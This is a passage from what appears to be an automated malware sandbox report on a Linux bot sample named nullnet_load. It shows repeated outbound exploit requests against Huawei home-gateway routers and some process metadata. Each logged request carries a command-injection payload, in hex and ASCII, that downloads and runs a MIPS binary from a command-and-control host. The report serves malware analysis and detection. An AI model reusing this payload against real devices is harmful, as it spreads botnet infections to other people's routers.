HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	45430	41.219.228.84	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488686085 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	33002	197.137.102.189	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488703012 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	51742	41.127.70.140	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488724947 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	41604	156.221.255.137	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488784075 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	49574	41.53.63.239	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488785028 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	57902	41.95.41.83	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488795996 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	42620	41.217.7.145	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488810062 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	43330	156.205.29.107	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488831043 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	55592	41.215.234.93	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488863945 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	55998	156.74.107.240	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488873959 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: nullnet_load.i686.elf PID: 5513, Parent PID: 5434

General

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	/tmp/nullnet_load.i686.elf
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
